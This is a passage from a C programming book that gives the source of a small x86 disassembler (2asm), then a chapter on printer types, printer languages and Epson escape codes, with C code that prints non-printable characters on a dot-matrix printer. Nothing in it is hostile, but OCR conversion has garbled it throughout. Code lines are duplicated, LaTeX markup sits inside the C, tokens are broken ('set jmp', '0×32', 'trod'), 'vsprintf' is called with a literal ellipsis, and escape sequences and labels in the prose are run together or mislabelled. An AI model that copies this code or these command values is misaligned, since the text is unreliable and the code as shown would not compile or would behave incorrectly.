/*56*/ "fildw", 0, "fistw", "fistpw",
    "fbldt", "fildq", "fbstpt", "fistpq"
    "fbldt", "fildq", "fbstpt", "fistpq"
};
```

};

```

\subsection*{52.3.2 Disasm.c}

Following is the main routine for the disassembler.
/* Code starts here... */
```

\#include <stdio.h>
\#include <string.h>
\#include <setjmp.h>

```
```

\#include <stdlib.h>
typedef unsigned long word32;
typedef unsigned short word16;
typedef unsigned char word8;
typedef signed long int32;
typedef signed short int16;
typedef signed char int8;
typedef union {
struct {
word16 ofs;
word16 seg;
} w;
word32 dword;
} WORD32;
/* variables controlled by command line flags */
static int8 seg_size=16; /* default size is 16 */
static int8 do_hex = 0; /* default is to use reassemblable
instructions */
static int8 do_distance = 1; /* default is to use reassemblable
instructions */
static word8 do_emul87 = 0; /* don't try to disassemble emulated
instrcutions */
static word8 do_size = 1; /* default to outputting explicit operand
size */
static word8 must_do_size; /* used with do_size */
static int wordop; /* dealing with word or byte operand */
static FILE *infile; /* input stream */
static word8 instruction_length;
static instruction_offset;
static word16 done_space; /* for opcodes with > one space */
static word8 patch87; /*fudge variable used in 8087 emu patching code*/
static char ubuf[100], *ubufp;
static col; /* output column */
static prefix; /* segment override prefix byte */
static modrmv; /* flag for getting modrm byte */
static sibv; /* flag for getting sib byte */
static opsize; /* just like it says ... */
static addrsize;
static jmp_buf reached_eof; /* jump back when reached eof */
/* some defines for extracting instruction bit fields from bytes */

```

\section*{544 A to Z of C}
```

\#define MOD(a) (((a)>>6) \&7)
\#define REG(a) (((a)>>3)\&7)
\#define RM(a) ((a)\&7)
\#define SCALE(a) (((a)>>6)\&7)
\#define INDEX(a) (((a)>>3)\&7)
\#define BASE(a) ((a)\&7)

```
```

extern char *opmapl[]; /* stuff from text.c */
extern char *second[];
extern char *groups[][8];
extern char *f0[];
extern char *fop_9[];
extern char *fop_10[];
extern char *fop_12[];
extern char *fop_13[];
extern char *fop_14[];
extern char *fop_15[];
extern char *fop_21[];
extern char *fop_28[];
extern char *fop_32[];
extern char *fop_33[];
extern char *fop_36[];
extern char *fop_37[];
extern char *fop_38[];
extern char *fop_39[];
extern char *fop_40[];
extern char *fop_42[];
extern char *fop_43[];
extern char *fop_44[];
extern char *fop_45[];
extern char *fop_48[];
extern char *fop_49[];
extern char *fop_51[];
extern char *fop_52[];
extern char *fop_53[];
extern char *fop_54[];
extern char *fop_55[];
extern char *fop_60[];
extern char **fspecial[];
extern char *floatops[];

```
/* prototypes */
static void ua_str(char *);
static word8 unassemble(word16);
static word8 getbyte(void);
```

static word8 silent_getbyte(void);
static word8 silent_returnbyte(word8 );
static modrm(void);
static sib(void);
static void uprintf(char *, ...);
static void uputchar(char );
static int bytes(char );
static void outhex(char , int , int , int , int );
static void reg_name(int , char );
static void do_sib(int );
static void do_modrm(char );
static void floating_point(int );
static void percent(char , char );
static char *addr_to_hex(int32 addr, char splitup)
{
static char buffer[11];
WORD32 adr;
char hexstr[2];
strcpy(hexstr, do_hex?"h":"");
adr.dword = addr;
if (splitup) {
if (adr.w.seg==0 || adr.w.seg==0xffff) /* 'coz of wraparound */
sprintf(buffer, "%04X%s", adr.w.ofs, hexstr);
else
sprintf(buffer, "%04X%s:%04X%s", adr.w.seg, hexstr, adr.w.ofs,
hexstr);
} else {
if (adr.w.seg==0 || adr.w.seg==0xffff) /* 'coz of wraparound */
sprintf(buffer, "%04X%s", adr.w.ofs, hexstr);
else
sprintf(buffer, "%08lX%s", addr, hexstr);
}
return buffer;
}
static word8 getbyte(void)
{
int16 c;
c = fgetc(infile);
if (c==EOF)
longjmp(reached_eof, 1);
printf("%02X", c); /* print out byte */
col+=2;
if (patch87) {

```

\section*{546 A to Z of C}
```

        c -= 0x5C; /* fixup second byte in emulated '87 instruction */
        patch87 = 0;
    }
    instruction_length++;
    instruction_offset++;
    return c;
    }
/* used for lookahead */
static word8 silent_getbyte(void)
{
return fgetc(infile);
}
/* return byte to input stream */
static word8 silent_returnbyte(word8 c)
{
return ungetc(c, infile);
}
/*
only one modrm or sib byte per instruction, tho' they need to be
returned a few times...
*/
static modrm(void)
{
if (modrmv == -1)
modrmv = getbyte();
return modrmv;
}
static sib(void)
{
if (sibv == -1)
sibv = getbyte();
return sibv;
}

```
```

/*-----------------------------------------------------------------------------

```
/*-----------------------------------------------------------------------------
static void uprintf(char *s, ...)
static void uprintf(char *s, ...)
{
{
    vsprintf(ubufp, s, ...);
    vsprintf(ubufp, s, ...);
    while (*ubufp)
    while (*ubufp)
        ubufp++;
        ubufp++;
}
```

}

```
```

static void uputchar(char c)
{
if (c == '\t') {
if (done_space) { /* don't tab out if already done so */
uputchar(' ');
} else {
done_space = 1;
do {
*ubufp++ = ' ';
} while ((ubufp-ubuf) % 8);
}
} else
*ubufp++ = c;
*ubufp = 0;
}
/*----------------------------------------------------------------------------
static int bytes(char c)
{
switch (c) {
case 'b':
return 1;
case 'w':
return 2;
case 'd':
return 4;
case 'v':
if (opsize == 32)
return 4;
else
return 2;
}
return 0;
}
/*----------------------------------------------------------------------------
static void outhex(char subtype, int extend, int optional, int defsize,
int sign)
{
int n=0, s=0, i;
int32 delta;
unsigned char buff[6];
char *name;
char signchar;
switch (subtype) {
case 'q':

```

\section*{548 A to Z of C}
```

    if (wordop) \{
        if (opsize==16) \{
            \(\mathrm{n}=2\);
        \} else \{
            \(\mathrm{n}=4\);
        \}
    \} else \{
        \(\mathrm{n}=1\);
    \}
    break;
    case 'a':
break;
case 'x':
extend $=2$;
n = 1;
break;
case 'b':
$\mathrm{n}=1$;
break;
case 'w':
$\mathrm{n}=2$;
break;
case 'd':
$\mathrm{n}=4$;
break;
case 's':
$\mathrm{n}=6$;
break;
case 'c':
case 'v':
if (defsize == 32)
$\mathrm{n}=4 ;$
else
n = 2;
break;
case 'p':
if (defsize == 32)
$\mathrm{n}=6$;
else
$\mathrm{n}=4$;
$\mathrm{s}=1$;
break;
\}
for ( $i=0$; $i<n$; $i++$ )
buff[i] = getbyte();
for (; i<extend; i++)

```
```

    buff[i] = (buff[i-1] & 0x80) ? 0xff : 0;
    if (s) {
        uprintf("%02X%02X:", buff[n-1], buff[n-2]);
    n -= 2;
    }
    switch (n) {
    case 1:
        delta = *(signed char *)buff;
        break;
    case 2:
        delta = *(signed int *)buff;
        break;
    case 4:
        delta = *(signed long *)buff;
        break;
    }
    if (extend > n) {
        if (subtype!='x') {
            if ((long)delta<0) {
                delta = -delta;
                signchar = '-';
            } else
                signchar = '+';
            if (delta || !optional)
            uprintf(do_hex?"%c%0*lX":"%c%0*lXh", signchar,
    do_hex?extend:extend+1, delta);
} else {
if (extend==2)
delta = (word16) delta;
uprintf(do_hex?"%0.*lX":"%0.*lXh", 2*extend+1, delta);
/* uprintf(do_hex?"%0.*lX":"%0.*lXh", 2*(do_hex?extend:extend+1),
delta); */
}
return;
}
if ((n == 4) \&\& !sign) {
name = addr_to_hex(delta, 0);
uprintf("%s", name);
return;
}
switch (n) {
case 1:
if (sign \&\& (char)delta<0) {
delta = -delta;
signchar = '-';
} else
signchar = '+';

```

\section*{550 A to Z of C}
```

    if (sign)
        uprintf(do_hex?"%c%02X":"%c%03Xh",signchar, (unsigned
    char)delta);
else
uprintf(do_hex?"%02X":"%03Xh", (unsigned char)delta);
break;
case 2:
if (sign \&\& (int)delta<0) {
signchar = '-';
delta = -delta;
} else
signchar = '+';
if (sign)
uprintf(do_hex?"%c%04X":"%c%05Xh", signchar,(int)delta);
else
uprintf(do_hex?"%04X":"%05Xh", (unsigned int)delta);
break;
case 4:
if (sign \&\& (long)delta<0) {
delta = -delta;
signchar = '-';
} else
signchar = '+';
if (sign)
uprintf(do_hex?"%c%08X":"%c%09lXh", signchar, (unsigned
long) delta);
else
uprintf(do_hex?"%08X":"%09lXh", (unsigned long)delta);
break;
}
}
/*----------------------------------------------------------------------------
static void reg_name(int regnum, char size)
{
if (size == 'F') { /* floating point register? */
uprintf("st(%d)", regnum);
return;
}
if (((size == 'v') \&\& (opsize == 32)) || (size == 'd'))
uputchar('e');
if ((size=='q' || size == 'b' || size=='c') \&\& !wordop) {
uputchar("acdbacdb"[regnum]);
uputchar("llllhhhh"[regnum]);
} else {

```
```

        uputchar("acdbsbsd"[regnum]);
        uputchar("xxxxppii"[regnum]);
    }
    }
/*---------------------------------------------------------------------------**/
static void do_sib(int m)
{
int s, i, b;
s = SCALE(sib());
i = INDEX(sib());
b = BASE(sib());
switch (b) { /* pick base */
case 0: ua_str("%p:[eax"); break;
case 1: ua_str("%p:[ecx"); break;
case 2: ua_str("%p:[edx"); break;
case 3: ua_str("%p:[ebx"); break;
case 4: ua_str("%p:[esp"); break;
case 5:
if (m == 0) {
ua_str("%p:[");
outhex('d', 4, 0, addrsize, 0);
} else {
ua_str("%p:[ebp");
}
break;
case 6: ua_str("%p:[esi"); break;
case 7: ua_str("%p:[edi"); break;
}
switch (i) { /* and index */
case 0: uprintf("+eax"); break;
case 1: uprintf("+ecx"); break;
case 2: uprintf("+edx"); break;
case 3: uprintf("+ebx"); break;
case 4: break;
case 5: uprintf("+ebp"); break;
case 6: uprintf("+esi"); break;
case 7: uprintf("+edi"); break;
}
if (i != 4) {
switch (s) { /* and scale */
case 0: uprintf(""); break;
case 1: uprintf("*2"); break;
case 2: uprintf("*4"); break;

```

\section*{552 A to Z of C}
```

            case 3: uprintf("*8"); break;
        }
    }
    }
/*----------------------------------------------------------------------------
static void do_modrm(char subtype)
{
int mod = MOD(modrm());
int rm = RM(modrm());
int extend = (addrsize == 32) ? 4 : 2;
if (mod == 3) { /* specifies two registers */
reg_name(rm, subtype);
return;
}
if (must_do_size) {
if (wordop) {
if (addrsize==32 || opsize==32) { /* then must specify size */
ua_str("dword ptr ");
} else {
ua_str("word ptr ");
}
} else {
ua_str("byte ptr ");
}
}
if ((mod == 0) \&\& (rm == 5) \&\& (addrsize == 32)) {/* mem operand with
32 bit ofs */
ua_str("%p: [");
outhex('d', extend, 0, addrsize, 0);
uputchar(']');
return;
}
if ((mod == 0) \&\& (rm == 6) \&\& (addrsize == 16)) { /*16 bit dsplcmnt*/
ua_str("%p:[");
outhex('w', extend, 0, addrsize, 0);
uputchar(']');
return;
}
if ((addrsize != 32) || (rm != 4))
ua_str("%p:[");
if (addrsize == 16) {
switch (rm) {
case 0: uprintf("bx+si"); break;
case 1: uprintf("bx+di"); break;
case 2: uprintf("bp+si"); break;

```
```

        case 3: uprintf("bp+di"); break;
        case 4: uprintf("si"); break;
        case 5: uprintf("di"); break;
        case 6: uprintf("bp"); break;
        case 7: uprintf("bx"); break;
        }
        } else {
        switch (rm) {
        case 0: uprintf("eax"); break;
        case 1: uprintf("ecx"); break;
        case 2: uprintf("edx"); break;
        case 3: uprintf("ebx"); break;
        case 4: do_sib(mod); break;
        case 5: uprintf("ebp"); break;
        case 6: uprintf("esi"); break;
        case 7: uprintf("edi"); break;
        }
    }
    switch (mod) {
    case 1:
        outhex('b', extend, 1, addrsize, 0);
        break;
    case 2:
        outhex('v', extend, 1, addrsize, 1);
        break;
    }
    uputchar(']');
    }
/*----------------------------------------------------------------------------
static void floating_point(int e1)
{
int esc = e1*8 + REG(modrm());
if (MOD(modrm()) == 3) {
if (fspecial[esc]) {
if (fspecial[esc][0][0] == '*') {
ua_str(fspecial[esc][0]+1);
} else {
ua_str(fspecial[esc][RM(modrm())]);
}
} else {
ua_str(floatops[esc]);
ua_str(" %EF");
}
} else {
ua_str(floatops[esc]);

```

\section*{554 A to \(Z\) of \(C\)}
```

        ua_str(" %EF");
    }
    }
/*---------------------------------------------------------------------------------* /
/* Main table driver
*/
static void percent(char type, char subtype)
{
int32 vofs;
char *name;
int extend = (addrsize == 32) ? 4 : 2;
char c;

```
```

start:
switch (type) {
case 'A': /* direct address */
outhex(subtype, extend, 0, addrsize, 0);
break;
case 'C': /* reg(r/m) picks control reg */
uprintf("C%d", REG(modrm()));
must_do_size = 0;
break;
case 'D': /* reg(r/m) picks debug reg */
uprintf("D%d", REG(modrm()));
must_do_size = 0;
break;
case 'E': /* r/m picks operand */
do_modrm(subtype);
break;
case 'G': /* reg(r/m) picks register */
if (subtype == 'F') /* 80*87 operand? */
reg_name(RM(modrm()), subtype);
else
reg_name(REG(modrm()), subtype);
must_do_size = 0;
break;
case 'I': /* immed data */
outhex(subtype, 0, 0, opsize, 0);
break;
case 'J': /* relative IP offset */

```
    switch(bytes(subtype)) { /* sizeof offset value */
    case 1:
        vofs = (int8) getbyte();
        break;
    case 2:
        vofs = getbyte();
        vofs += getbyte()<<8;
        vofs = (int16)vofs;
        break;
    case 4:
        vofs = (word32)getbyte(); /* yuk! */
        vofs |= (word32)getbyte() << 8;
        vofs = (word32) getbyte() << 16;
        vofs = (word32) getbyte() << 24;
        break;
    }
    name = addr_to_hex(vofs+instruction_offset,1);
    uprintf("%s", name);
    break;
case 'K':
    if (do_distance==0)
        break;
    switch (subtype) {
    case 'f':
        ua_str("far ");
        break;
    case 'n':
            ua_str("near ");
            break;
    case 's':
            ua_str("short ");
            break;
    }
    break;
case 'M': /* r/m picks memory */
    do_modrm(subtype);
    break;
case 'O': /* offset only */
    ua_str("%p:[") ;
    outhex(subtype, extend, 0, addrsize, 0);
    uputchar(']');
    break;
case 'P': /* prefix byte (rh) */
```

```
    ua_str("%p:");
    break;
case 'R': /* mod(r/m) picks register */
    reg_name(REG(modrm()), subtype); /* rh */
    must_do_size = 0;
    break;
case 'S': /* reg(r/m) picks segment reg */
    uputchar("ecsdfg"[REG(modrm())]);
    uputchar('s');
    must_do_size = 0;
    break;
case 'T': /* reg(r/m) picks T reg */
    uprintf("trod", REG(modrm()));
    must_do_size = 0;
    break;
case 'X': /* ds:si type operator */
    uprintf("ds:[");
    if (addrsize == 32)
        uputchar('e');
    uprintf("si]");
    break;
case 'Y': /* es:di type operator */
    uprintf("es:[");
    if (addrsize == 32)
        uputchar('e');
    uprintf("di]");
    break;
case '2': /* old [pop cs]! now indexes */
    ua_str(second[getbyte()]); /* instructions in 386/486 */
    break;
case 'g': /* modrm group `subtype' (0--7) */
    ua_str(groups[subtype-'0'][REG(modrm())]);
    break;
case 'd':
        /* sizeof operand==dword? */
    if (opsize == 32)
        uputchar('d');
    uputchar(subtype);
    break;
```

```
case 'w': /* insert explicit size specifier */
    if (opsize == 32)
        uputchar('d');
    else
        uputchar('w');
    uputchar(subtype);
    break;
case 'e': /* extended reg name */
    if (opsize == 32) {
        if (subtype == ' w')
            uputchar('d');
        else {
            uputchar('e');
            uputchar(subtype);
        }
    } else
        uputchar(subtype);
    break;
case 'f': /* '87 opcode */
    floating_point(subtype-'0');
    break;
case 'j':
    if (addrsize==32 || opsize==32) /* both of them?! */
        uputchar('e');
    break;
case 'p': /* prefix byte */
    switch (subtype) {
    case 'c':
    case 'd':
    case 'e':
    case 'f':
    case 'g':
    case 's':
        prefix = subtype;
        c = getbyte();
        wordop = c & 1;
        ua_str(opmap1[c]);
        break;
    case ':':
        if (prefix)
            uprintf("%cs:", prefix);
            break;
    case ' ':
```

```
                    c = getbyte();
                    wordop = c & 1;
                    ua_str(opmap1[c]);
                    break;
        }
        break;
    case 's': /* size override */
    switch (subtype) {
    case 'a':
        addrsize = 48 - addrsize;
        c = getbyte();
        wordop = c & 1;
        ua_str(opmap1[c]);
/* ua_str(opmap1[getbyte()]); */
            break;
    case 'o':
            opsize = 48 - opsize;
            c = getbyte();
            wordop = c & 1;
            ua_str(opmap1[c]);
/* ua_str(opmap1[getbyte()]); */
            break;
            }
            break;
        }
}
static void ua_str(char *str)
{
    int c;
    if (str == 0) {
        uprintf("<invalid>");
        return;
    }
    if (strpbrk(str, "CDFGRST")) /* specifiers for registers=>no size 2b
specified */
        must_do_size = 0;
    while ((c = *str++) != 0) {
        if (c == '%') {
            c = *str++;
            percent(c, *str++);
        } else {
            if (c == ' ') {
                uputchar('\t');
            } else {
```

```
                uputchar(c);
                }
            }
    }
}
static word8 unassemble(word16 ofs)
{
    char *str;
    int c, c2;
    printf("%04X ", ofs);
    prefix = 0;
    modrmv = sibv = -1; /* set modrm and sib flags */
    opsize = addrsize = seg_size;
    col = 0;
    ubufp = ubuf;
    done_space = 0;
    instruction_length = 0;
    c = getbyte();
    wordop = c & 1;
    patch87 = 0;
    must_do_size = do_size;
    if (do_emul87) {
        if (c==0xcd) { /* wanna do emu '87 and ->ing to int? */
            c2 = silent_getbyte();
            if (c2 >= 0x34 && c2 <= 0x3E)
                patch87 = 1; /* emulated instruction! => must repatch two
bytes */
            silent_returnbyte(c2);
            c -= 0×32;
        }
    }
    if ((str = opmap1[c])==NULL) { /* invalid instruction? */
        uputchar('d'); /* then output byte defines */
        uputchar('b');
        uputchar('\t');
        uprintf(do_hex?"%02X":"%02Xh",c);
    } else {
        ua_str(str); /* valid instruction */
    }
    printf("%*s", 15-col, " ");
    col = 15 + strlen(ubuf);
    do {
        uputchar(' ');
        col++;
    } while (col < 43);
```


## 560 A to Z of C

```
    printf("%s\n", ubuf);
    return instruction_length;
}
static word8 isoption(char c)
{
    return (c=='/' || c=='-');
}
void main(int argc, char *argv[])
{
    word16 instr_len;
    word16 offset;
    char infilename[80];
    char c;
#if defined(DEBUG)
    clrscr();
#endif
    *infilename = 0;
    while (--argc) {
        argv++;
        if (**argv=='?') {
hlp: fprintf(stderr,
        "2ASM Version 1.01 (C) Copyright 1992, Robin Hilliard\n"
        "Converts binary files to 80*86 assembly\n"
        "Usage:\n"
        "\t2asm <file> [-e] [-3] [-x] [-s] [-d]\n"
        "Switches:\n"
        "\t-e :\tDisassemble (unoverridden) emulated 80*87 instructions\n"
        "\t-3 :\tAssume code is 32 bit (default==16)\n"
        "\t-x :\tOutput numbers in pure hex (default is reassemblable)\n"
        "\t-s :\tDon't specify operand size, even where necessary\n"
        "\t-d :\tDon't specify distance short/near/far jmps and calls"
        );
        exit(1);
    }
    if (isoption(**argv)) {
        while (isoption(**argv)) {
nextflag:
            switch (c = *(++*argv)) {
            case 'e':
                do_emul87 = 1;
                break;
            case '3':
                seg_size = 32;
```

```
                    break;
            case 'x':
                    do_hex = 1;
                    break;
            case 's':
                    do_size = 0;
                    break;
            case 'd':
                    do_distance = 0;
                    break;
            case '?':
            case 'H':
                    goto hlp;
                    case '#': /* hidden flag in the Loft's programs! */
                    fprintf(stderr,"Last compiled on " __TIME__ ", " ___DATE__);
                    exit(1);
            default:
                    fprintf(stderr, "Unknown option: `-%c'", c);
                    exit(1);
            }
            ++*argv;
            }
        } else { /* assume that its a file name */
            if (*infilename) {
                    fprintf(stderr,"Unknown file argument: \"%s\"", *argv);
                    exit(1);
            }
            strcpy(infilename,*argv);
        }
    }
    if ((infile=fopen(infilename,"rb"))==NULL) {
        printf("Unable to open %s",infilename);
        exit(2);
    }
    offset = 0;
    strlwr(infilename);
    if (strstr(infilename, ".com")) /* not perfect, fix later */
        instruction_offset = offset = 0x100;
    if (!set jmp(reached_eof)) {
        do {
            instr_len = unassemble(offset);
            offset += instr_len;
        } while (instr_len); /* whoops, no files > 64k */
    }
}
```


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### 52.3.3 2asm.prj

Add the above two programs: Table.c and Disasm.c in project file $2 \mathrm{asm} . \mathrm{prj}$ and compile. You will get an EXE file 2asm.exe that you can use as disassembler.

## 53 "Blessed are the pure in heart." <br> Printer Programming

As everyone knows, Printers help us to produce hard copies. The quality of the printer is referred by the term 'resolution'. Dots per inch (dpi) is the unit of resolution.

### 53.1 Types of Printers

Nowadays we've got Dot Matrix, Inkjet \& Laser Printers. Other old printers like Line, Drum etc, are now obsolete.

### 53.1.1 Dot Matrix Printers

Dot matrix printers use round-headed pins arranged in a rectangular pattern (like matrix). These pins strike against the inked ribbon and form various characters and patterns. The number of pins determines the print quality, which is usually either 9 or 24 .

### 53.1.2 Inkjet Printers

Spraying inks over the paper forms the characters. The ink particles are ionized and the magnetized plates let the ink to form typical pattern on the paper.

### 53.1.3 Laser Printers

Laser Printers work just like copier machines. That is, they form the electrostatic image of the entire images on a photosensitive drum with the help of laser beam. Then toner (toner is an ultra fine colored powder) is applied to the drum and so it adheres to the sensitized areas corresponding to the character and other patterns. Now the drum spins over the paper, transfers the toner to paper from drum and the paper gets printed.

### 53.2 Printer Languages

People thought that it is necessary to have a 'language' to control printers.

### 53.2.1 Page Description Language

Page Description Language (PDL) is used to communicate usually with page printers. Inkjet and Laser printers are referred as page printers, because they manipulate the entire page in memory (Dot Matrix printers manipulate character by character). It is the duty of the internal firmware found on the printer to convert PDL codes to specified pattern of dots. We've got two PDLs namely Printer Control Language (PDL) and PostScript.

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### 53.2.1.1 Printer Control Language

Printer Control Language (PCL) is developed by Hewlett Packard in 1984 to be used in HP LaserJet printers as a PDL. PCL uses control codes (like escape codes). The recent version of PCL is 6 .

### 53.2.1.2 PostScript

PostScript was developed by John Warnock of Adobe as PDL to be used in laser printers. PostScript is referred as a standard programming language. It is also referred as object oriented language, because it sends images to the printer as geometrical objects rather than bitmaps. This technique is also referred as vector graphic, instead of bitmap graphic. Recent version of PostScript is 3 .

### 53.2.2 Escape Codes

Dot matrix printers mostly use escape codes. Almost all Laser and Inkjet printers support PDLs. But some printers (Dot Matrix) don't support PDL and they use Escape Codes. The printer commands are sent as a combination of Escape Sequences. For example, to set the line spacing to $1 / 8$ inch, the respective command is ESC ' 0 '. Likewise we've got so many commands or Escape Sequences. Escape codes are non-standard as each printer vendor use different sets of Escape Codes.

### 53.3 Printing non-printable characters

In this section, I am going to explain how to print non-printable characters on Epson 9 pin Dot Matrix Printer. This can be achieved by creating PCL or PostScript file. But for that, you have to know the file format of them and it is a tedious job. It means that you have to develop your own software that 'creates' PCL or PostScript! The easy way is to use Escape Codes.

## Note

Since the Escape Codes are mostly 'printer' and 'vendor' specific, the Escape Sequences I have used here will mostly work only on Epson 9 pin Dot Matrix Printers.

### 53.3.1 Epson Extended Character Set

Ordinary Epson character set doesn't have non-printable characters. But Epson Extended character set contains all printable characters and 'few' non-printable characters: single box characters, heart, diamond, club, spade, plus/minus sign, and division sign. But this extended character set uses different values to represent such an extended character.

| Character | ASCII value | Epson Extended Character Set Value | Character | ASCII value | Epson Extended Character Set Value |
| :---: | :---: | :---: | :---: | :---: | :---: |
| $\Gamma$ | 218 | 135 | - | 196 | 133 |
| 7 | 191 | 136 |  | 179 | 134 |
| L | 192 | 137 | 4 | 6 | 145 |
| 」 | 217 | 138 | $\checkmark$ | 3 | 146 |
| - | 195 | 132 | $\checkmark$ | 4 | 147 |
| 7 | 180 | 131 | 8 | 5 | 148 |
| T | 194 | 130 | $\div$ | 246 | 158 |
| $\perp$ | 193 | 129 | $\pm$ | 241 | 159 |
| $t$ | 197 | 128 |  |  |  |

To set the printer to Epson Extended Character Set, we have to send ESC 'm' 4. For that we can use the biosprint ( ) function. As this mode uses 'character set', it will be faster than graphics mode.

### 53.3.2 Graphics Mode

Graphics mode is the slowest one. To set the printer to graphics mode, we have to send: ESC '*' n1 n2 n3.
where n 1 is the resolution ( $\mathrm{n} 1=4$ means 80 dpi ),
$\mathrm{n} 2=$ number of bytes to print $\% 256$,
$\mathrm{n} 3=$ number of bytes to print $/ 256$.

| Pin | Pin <br> No. | Command <br> to be sent |
| :---: | :---: | :---: |
| $\bullet$ | 7 | $128\left(2^{7}\right)$ |
| $\bullet$ | 6 | $64\left(2^{6}\right)$ |
| $\bullet$ | 5 | $32\left(2^{5}\right)$ |
| $\bullet$ | 4 | $16\left(2^{4}\right)$ |
| $\bullet$ | 3 | $8\left(2^{3}\right)$ |
| $\bullet$ | 2 | $4\left(2^{2}\right)$ |
| $\bullet$ | 1 | $2\left(2^{1}\right)$ |
| $\bullet$ | 0 | $1\left(2^{0}\right)$ |

Let's see how to program the pins of printer head. To activate the bottommost pin 0 we have to send 1 as a command, to activate pin 1 we have to send 2 as a command...

So to activate pins 0,1 and 7 at a given time, we have to send $1+2+128=131$ to the printer. Before that, it is necessary to set the printer to graphics mode with the command:
ESC '*' 4 8\%256 8/256 (or ESC '*' 480 ).

## Note

At a given time you can program up to 8 pins only. So if you sent 256 , all pins will be activated. You cannot program the $9^{\text {th }}$ pin (i.e., pin 8 ).

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For example, to print the character ' H ' in graphics mode, the command to be sent to the printer will be:

ESC '*' 480 (then pin values) 256161616161616

53.3.3 Font Map

10000001
10000001
10000001
11111111
10000001
10000001
10000001
10000001
Font map of ' H ' that will be in ROM

Now we have learned about graphics mode. In the previous section, we have manually found out the 'pin values'. Manually finding out pin values is a tedious job and it is tough too. Fortunately in ROM, we've got 'font map' for each characters. So it is wise to use font map, which is already available in ROM to generate pin values.

Interrupt $10 \mathrm{~h}, \mathrm{AX}=1130 \mathrm{~h}, \mathrm{BX}=0300 \mathrm{~h}$ returns pointer to 8 x 8 font. Interrupt $10 \mathrm{~h}, \mathrm{AX}=1130 \mathrm{~h}, \mathrm{BX}=0200 \mathrm{~h}$ returns pointer to 8 x 14 font.

I prefer 8 x 8 font, because it reduces the programming effort and speeds up printing.

## Note

If you prefer $8 \times 14$ font, you have to print the part of the font (with height 8 ) in one line and then you have to print the remaining part of the font (with height 6) in another line.

The returned pointer by int 10 h will point to the font map of first character of the ASCII set (i.e., NULL or ASCII-0). The font map of the letter 'H' will be at the offset 'H' (ASCII-72). Similarly font map of every letter of the ASCII set (including non-printable characters) will be at the offset of its ASCII value. So with the help of the pointer and a simple program, we can find out the pin values easily.

### 53.3.4 Optimization Tip

We must understand that graphics mode is the slowest one. Printing with Epson Extended Character Set is faster than graphics mode. So it is wiser to use Epson extended character set's all available characters. For all other non-printable characters use graphics mode.

### 53.3.5 Program

The following is the code to print non-printable characters on Epson 9 pin Dot Matrix Printers.

```
/*---------------------------------------------
            PR - To print non-printable characters
    File name: Pr.c
    *_----
    */
#include <stdio.h>
#include <conio.h>
#include <dos.h>
#include <bios.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#define PRINTER_WRITE ( 0 )
#define PRINTER_STATUS ( 2 )
#define ESC - ( 27 )
#define LPT1 ( 0 )
#define FNTHEIGHT ( 8 )
void Send2LPT1( int num, ... );
void SetLineSpacingTolby8( void );
void SetPrinter2GraphicsMode( void );
void PrintWithEpsonCharSet( unsigned char ch );
/*-----------------------------------------------------------
void Send2LPT1( int num, ... )
{
    va_list argptr;
    int i;
    va_start( argptr, num );
    for ( i=0 ; i<num ; ++i )
    biosprint( PRINTER_WRITE, va_arg( argptr, int ), LPT1 );
    va_end( argptr );
} /*---Send2LPT1( )--------------*/
/*--------------------------------------------------------------------- */
```


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```
void SetLineSpacingTo1by8( void )
{
    Send2LPT1( 2, ESC, '0' );
} /*--SetLineSpacingTo1by8( )------*/
/*------------------------------------------------------------------------
    SetPrinter2GraphicsMode - Initializes printer to graphics mode */
void SetPrinter2GraphicsMode( void )
{
    Send2LPT1( 5, ESC, '*', 4, 8%256, 8/256 ); /* 80 dpi quality */
} /*--SetPrinter2GraphicsMode( )-------*/
/*--------------------------------------------------------------------
    PrintWithEpsonCharSet - Initializes printer to Epson Extended
        Printer Character Set and print a single character 'ch'.
        Epson Character Set contains all printable characters, single
        line box characters and few other ASCII characters.
        (It is faster than Graphics mode.) */
void PrintWithEpsonCharSet( unsigned char ch )
{
    Send2LPT1( 4, ESC, 'm', 4, ch );
} /*--PrintWithEpsonCharSet( )-------*/
int main( int argc, char *argv[] )
{
    FILE *fp;
    struct REGPACK regs;
    unsigned char ch;
    char far *font8x8, far *ptr;
    unsigned int segment, offset;
    int fntval, mask, powof2, status;
    register int i, j;
    /* call the bios interrupt to get the address of the desired font */
    regs.r_ax = 0x1130;
    regs.r_bx = 0x0300;
    intr( 0x10, &regs );
/*make a far pointer font8x8 point to info returned by the bios call*/
    offset = regs.r_bp;
    segment = regs.r_es;
    font8x8 = (char far*) MK_FP( segment, offset );
    /*---Check For any Errors-----> */
    if ( argc < 2 )
    {
        cprintf(
    " Syntax: PR filename [ -bb | -nbb ] \a\r\n"
```

```
    " -bb Box Better. Box characters will appear better. But \r\n"
    "
"
    characters of adjacent lines may touch each other. \r\n"
    (default) \r\n"
    " -nbb No Box Better. Characters of adjacent lines won't \r\n"
    " touch each other.
    ) ;
        exit( 1 );
}
status = biosprint( PRINTER_STATUS, 0, LPT1 );
if ( status & 0x01 )
    {
        cprintf( " Fatal Error: Printer time out \a\r\n" );
        exit( 1 );
    }
if ( status & 0x08 )
    {
        cprintf( " Fatal Error: I/O error \a\r\n" );
        exit( 1 );
    }
if ( (fp = fopen( argv[1], "rb"))==NULL )
    {
    perror( " Fatal Error\a" );
    exit( 1 );
    }
/*-- <---Error Checked...OK! --*/
/* if switch is not equal to "-nbb", then do default ie, "-bb" */
if ( strcmpi( argv[2], "-nbb" )!=0 )
                        SetLineSpacingTolby8( );
while ( !feof( fp ) )
    {
        fread( &ch, 1, 1, fp );
        if ( ch=='\r' || ch=='\n' || ch=='\a'|| ch=='\t'|| ch=='\v'
                                    || ch=='\f'|| ch=='\b'|| ch==0
                                    || ch==255 || (ch>=' '&&ch<='~') )
                PrintWithEpsonCharSet( ch );
        else
            {
                switch( ch )
                    {
                                /* Box Characters adjust */
                                    /* upper left corner */
                                    case 218: /* 'r' */
                                    PrintWithEpsonCharSet( 135 );
                                    break;
```

```
/* Upper right corner */
case 191: /* '\rceil' */
    PrintWithEpsonCharSet( 136 );
    break;
/* Lower left corner */
case 192: /* 'L' */
            PrintWithEpsonCharSet( 137 );
            break;
/* Lower right corner */
case 217: /* '」' */
            PrintWithEpsonCharSet( 138 );
            break;
/* Middle left corner */
case 195: /* 'ト' */
            PrintWithEpsonCharSet( 132 );
            break;
/* Middle right corner */
```



```
            PrintWithEpsonCharSet( 131 );
            break;
/* Middle top corner */
case 194: /* '丁' */
            PrintWithEpsonCharSet( 130 );
            break;
/* Middle bottom corner */
case 193: /* 'म' */
            PrintWithEpsonCharSet( 129 );
            break;
